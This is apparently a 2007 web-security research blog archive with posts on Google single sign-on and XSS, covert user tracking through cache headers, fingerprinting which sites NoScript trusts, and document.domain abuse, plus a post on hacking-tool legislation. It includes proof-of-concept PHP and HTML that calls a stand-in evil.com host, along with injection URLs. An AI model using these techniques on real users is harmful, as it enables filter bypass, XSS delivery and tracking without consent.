What I'm trying to say is that all XSS holes which are not in www.google.com (and yes, the www is important) will not break SSO, but any XSS hole which is in that domain, has the potential to.
Oh, and Google isn't completely hopeless when it comes to security - they just have many more developers working for them, and many more web facing projects than most organisations.
Idea 1: Remote Javascript
The first thing that came into my head was using Remote Javascript files, to give any SSO site (site specific of course), which the server side back-end could then use to query a database, to check that the specific token was valid for their site, and if it was, they would be issued another site specific login token, which would be placed in a user's cookie, and session management would resume as usual.
The problem with this is, of course, making sure that no other sites can retrieve this login token by including the same remote javascript in their page.
Of course, there are several things you could do to prevent this:
You could do referer checks. While we have seen methods to spoof or strip referers, there have been no methods to my knowledge to date which can do this when you're requesting script elements. You could technically spoof the header normally, and try to poison the cache, but as long as the appropriate cache headers are sent, then this should not be possible.
But this leaves any users who have referer stripping firewalls in danger, and this is unacceptable.
You could use CSRF style protections. But this faces the problem of what you can actually tie the token to. You could tie the token to the IP, but as long as Anti-DNS Pinning works, this can be attacked and broken, so this is not a valid solution. And Furthermore doing such checks would be rather expensive in terms of operations needing to be performed, since this is being done between separate servers/sites.
Which essentially means that while we can make this system secure for most people, there are some we would not secure, and it is therefore not viable.
Idea 2: Remote iframes
I kept thinking about other ways you could send data to a specific site only and (from my attempts to break SessionSafe) I remembered that we could use iframes.
If an iframe sets the window.top.location.href property, the page which loaded the iframe cannot read that value, and even if they could it would be considered a browser bug and fixed. So to transfer data to our domain and our domain only we would do the following:
Write an iframe to the page which looked like this:
<iframe width="300" height="150" src="http://ssodomain.com/login.php?site=Service"></iframe>And on http://ssodomain.com/login.php the following would be done:
If the user is not logged in display a login form.
If the user is logged in then write the following javasript tot he page:
window.top.location = 'http://companyownedwebsite.com/verify.php?auth=123456';Where companyownedwebsite.com was determined by a switch statement on the site variable, so that only a valid site could be redirected to, and so the SSO service knew which particular value to parse in auth variable.
The other mechanisms are the same as in Idea 1. Furthermore this protects you from Programmatic password theft, since the password is entered on a domain which has nothing other than a login form.
Google's Approach
After thinking of Idea 2, I realised that this is what google does; on most of their services anyway. The one service (at which I initially looked to find out how Google implemented SSO, *doh*) which doesn't use the exact same method as above is Gmail. What it turns out Gmail does (which I somehow missed) is, instead of using an iframes, they redirect gmail.com to the equivalent of http://ssodomain.com/login.php?site=Gmail where the whole login page is displayed, and the form is submitted to that same domain.
So what does this mean?
I came to the same idea independently of Google (which to me says that there must be some merit to it, sine I didn't just see the idea and say; hey, this looks good), and it should in theory and practice be perfectly sound as long as a website cannot tell determine the URL to which the iframe/a page loaded in an iframe is being redirected to, and there are no XSS holes in the SSO domain.
So Google's SSO should be secure in the face of an XSS hole?
Well, no; Google messed up; they made their SSO domain www.google.com; the same domain as their main site, which means it used used for more central purposes (central in terms of design, rather than importance). This is bad, because there should be nothing on the SSO domain other than SSO forms, because otherwise one may find XSS holes in the SSO domain, and that breaks the whole system (bar things like IP locks tying the sessions together, but with Anti-DNS Pinning, this can again be broken)
So what are you trying to say
What I'm trying to say is that all XSS holes which are not in www.google.com (and yes, the www is important) will not break SSO, but any XSS hole which is in that domain, has the potential to.
Oh, and Google isn't completely hopeless when it comes to security - they just have many more developers working for them, and many more web facing projects than most organisations.
Labels:
Security (All),
SSO,
Web App Sec,
XSS
Saturday, May 19, 2007
Tracking users with Cache Data
There are several methods that browsers and web servers use to speed up browsing, so that less data needs to be transfered over the network, two of these methods are the ETag/If-None-Match and Last-Modified/If-Modified-Since headers. The premise is fairly simple for both.
With the ETag/If-None-Match headers, the server simply sends an ETag header for a resource the first time it is requested, and then sends the page - the next time the browser needs the same resource it sends an If-None-Match header, and sends the parameter the server returned in the ETag response header, as the parameter for the If-None-Match request header.
If the server responds with a 304 Not Modified status, and does not return a message body (it MUST NOT return a message body), then the ETag is preserved in the cache, and the browser will keep sending the same If-None-Match header until the cache is deleted, as long as it keeps getting 304 replies.
The system is identical, just with different header names for the Last-Modified/If-Modified-Since headers.
Sadly though, the ETag/if-None-Match headers are only supported by Firefox, whereas the Last-Modified/If-Modified-Since headers are supported in Firefox and IE - to my knowledge (through my testing) none of these headers are supported in Opera.
As such it would be better to use the Last-Modified/If-Modified-Since headers.
All you need to do now is embed a tracking image in each page, and send a unique date each time no If-Modified-Since header is sent, and a blank 304 response at all other times.
The biggest problem here though is that you do need a separate http request, and as such the only way to associate requests is per IP and time frame, e.g. any request made <=10 seconds before the request for a particular date/etag from, the same IP, is the same user. You could also try using the Referer header, but the odds of someone denying cookies, but sending Referers is very low, IMO.
You could also use Javascript instead of images, and then you would be able to link requests more easily, but it would require you make an additional request from that page with the URL in the query string and tracking id, or similar.
You would still need to use one of these techniques though, because you need to serve different pieces of javascript to different people, and have that piece of javascript cached as long as possible.
But even given this, this allows you a method to track users who deny cookies between browsing sessions - for tighter correlation during browsing sessions you could use Jeremiah Grossman's Basic Auth Tracking
P.S. This is stored with the other cache data, so this will only work as long as the image/resource is cached, and clearing the ache manually (or turning the cache off) will stop this technique.
With the ETag/If-None-Match headers, the server simply sends an ETag header for a resource the first time it is requested, and then sends the page - the next time the browser needs the same resource it sends an If-None-Match header, and sends the parameter the server returned in the ETag response header, as the parameter for the If-None-Match request header.
If the server responds with a 304 Not Modified status, and does not return a message body (it MUST NOT return a message body), then the ETag is preserved in the cache, and the browser will keep sending the same If-None-Match header until the cache is deleted, as long as it keeps getting 304 replies.
The system is identical, just with different header names for the Last-Modified/If-Modified-Since headers.
Sadly though, the ETag/if-None-Match headers are only supported by Firefox, whereas the Last-Modified/If-Modified-Since headers are supported in Firefox and IE - to my knowledge (through my testing) none of these headers are supported in Opera.
As such it would be better to use the Last-Modified/If-Modified-Since headers.
All you need to do now is embed a tracking image in each page, and send a unique date each time no If-Modified-Since header is sent, and a blank 304 response at all other times.
The biggest problem here though is that you do need a separate http request, and as such the only way to associate requests is per IP and time frame, e.g. any request made <=10 seconds before the request for a particular date/etag from, the same IP, is the same user. You could also try using the Referer header, but the odds of someone denying cookies, but sending Referers is very low, IMO.
You could also use Javascript instead of images, and then you would be able to link requests more easily, but it would require you make an additional request from that page with the URL in the query string and tracking id, or similar.
You would still need to use one of these techniques though, because you need to serve different pieces of javascript to different people, and have that piece of javascript cached as long as possible.
But even given this, this allows you a method to track users who deny cookies between browsing sessions - for tighter correlation during browsing sessions you could use Jeremiah Grossman's Basic Auth Tracking
P.S. This is stored with the other cache data, so this will only work as long as the image/resource is cached, and clearing the ache manually (or turning the cache off) will stop this technique.
Labels:
Detection,
HTTP,
Security (All),
Web App Sec
Wednesday, May 16, 2007
Determining sites trusted by NoScript
With the (relatively) new XSS filter added to NoScript it has become possible to determine whether a site is trusted or untrusted by seeing if NoScript decides to take action - of course this is not 100% accurate, since all these features can be turned off, but if they are turned off then you can execute some attacks anyway.
The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:
detect.php:
query.php:
The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.
Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:
The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/
The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.
Most systems which perform closed redirection have URLs which look like:
Where the id value is first run through intval(), then put directly into an SQL statement.
Now, we can exploit this fact by sending people to a URL like this:
Whereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
And since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.
If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.
If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.
The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.
And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.
If you send a user to:
And the history hack says the user has been to
Then the site is obviously trusted.
These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.
Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.
The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.
Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?
Beats me; I just thought this was interesting.....
Open Redirect
The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:
detect.php:
<html>
<body>
<iframe src="http://www.google.com.au/local_url?q=http://www.evil.com/XSS/query.php%3FServer_Generated_ID=%3Cscript%3E%26"></iframe>
</body>
</html>query.php:
<?php
if (strpos($_SERVER['QUERY_STRING'], "=") !== FALSE) {
print "Untrusted!";
} else {
print "Trusted!<br />\n";
print "For ID: ".$_SERVER['QUERY_STRING'];
}
?>The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.
Non-Open Redirects
Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:
- We cannot use Javascript to determine where you've been.
- We cannot actually pass a parameter to where we will be redirected.
The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/
The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.
Most systems which perform closed redirection have URLs which look like:
http://www.site.com/redir.php?id=123Where the id value is first run through intval(), then put directly into an SQL statement.
Now, we can exploit this fact by sending people to a URL like this:
http://www.site.com/closedredir.php?id=123%26id=%3Cscript%3EWhereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
http://www.site.com/redir.php?id=%3F123%26id%3DAnd since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.
If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.
Controlled Off-Site Resources
If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.
Generic Method
The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.
And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.
If you send a user to:
http://www.site.com/page.php?param=%3Ctest%3EAnd the history hack says the user has been to
http://www.site.com/page.php?param=%20test%20Then the site is obviously trusted.
Uses
These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.
Final notes
Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.
The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.
Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?
Beats me; I just thought this was interesting.....
Labels:
Detection,
Extension Hacking,
Security (All),
Web App Sec,
XSS
Saturday, April 28, 2007
Creating sockets to sites which run Google Analytics javascript without Anti-DNS Pinning
This is a short post, but I thought this warranted its own post, so that the message is not lost.
One of the repercussions of this post: http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html is that any site which references the document.location property (e.g. any site running Google Analytics javascript) can be referenced by any subdomain.
And top level domains do not have to have any relation to their subdomain, so a DNS setup where these resolutions occur:
attack.target.evil.com -> web server controlled by evil.com
target.evil.com -> victim web server running Google Analytics (or other document.location referencing code)
Is possible. Now, since attack.target.evil.com can communicate with target.evil.com [1] as par my last post it can easily just insert a java applet (or with Firefox, javascript which uses the Java libraries) into target.evil.com, which will be able to create sockets to the web server's IP.
Another way the DNS->IP resolution scheme of subdomains not needing to be related can be abused is by making target.evil.com resolve to the IP of a service like myspace, which has a "domain generalisation" scheme, which will set the document.domain property to the second level domain, and so will resolve to evil.com, and evil.com can then create sockets to myspace.com.
And while, at the present this is a fairly pointless attack since we can still use Anti-DNS Pinning attacks, those problems may be solved before this.
[1] Note that all these attacks will only work if the hosts accept wildcard hostnames, and so the google analytics code is returned even if the hostname is incorrect.
One of the repercussions of this post: http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html is that any site which references the document.location property (e.g. any site running Google Analytics javascript) can be referenced by any subdomain.
And top level domains do not have to have any relation to their subdomain, so a DNS setup where these resolutions occur:
attack.target.evil.com -> web server controlled by evil.com
target.evil.com -> victim web server running Google Analytics (or other document.location referencing code)
Is possible. Now, since attack.target.evil.com can communicate with target.evil.com [1] as par my last post it can easily just insert a java applet (or with Firefox, javascript which uses the Java libraries) into target.evil.com, which will be able to create sockets to the web server's IP.
Another way the DNS->IP resolution scheme of subdomains not needing to be related can be abused is by making target.evil.com resolve to the IP of a service like myspace, which has a "domain generalisation" scheme, which will set the document.domain property to the second level domain, and so will resolve to evil.com, and evil.com can then create sockets to myspace.com.
And while, at the present this is a fairly pointless attack since we can still use Anti-DNS Pinning attacks, those problems may be solved before this.
[1] Note that all these attacks will only work if the hosts accept wildcard hostnames, and so the google analytics code is returned even if the hostname is incorrect.
Friday, April 27, 2007
Breaking the same origin policy in an upwards direction (IE & Firefox Only)
To explain why this is meaningful, I'll first give a quick primer on the document.domain property:
The document.domain is by default set to the hostname which is used to access a site.
The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]
To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.
Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.
Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.
Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.
[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: http://sla.ckers.org/forum/read.php?13,10863
The document.domain is by default set to the hostname which is used to access a site.
The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]
To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.
Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.
Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.
Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.
[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: http://sla.ckers.org/forum/read.php?13,10863
Labels:
Javascript,
Security (All),
Web App Sec,
XSS
This isn't the post your looking for either
A few days ago prdelka post a blog post entitled "This isnt the post your looking for", you should read it, preferably before reading ny more of this post. He also deleted all his other blog postings, and removed all the papers and exploits, etc, which he had written from his server.
For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.
What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?
And if you're in Britain, how will this affect you?
For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.
What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?
And if you're in Britain, how will this affect you?
Subscribe to:
Posts (Atom)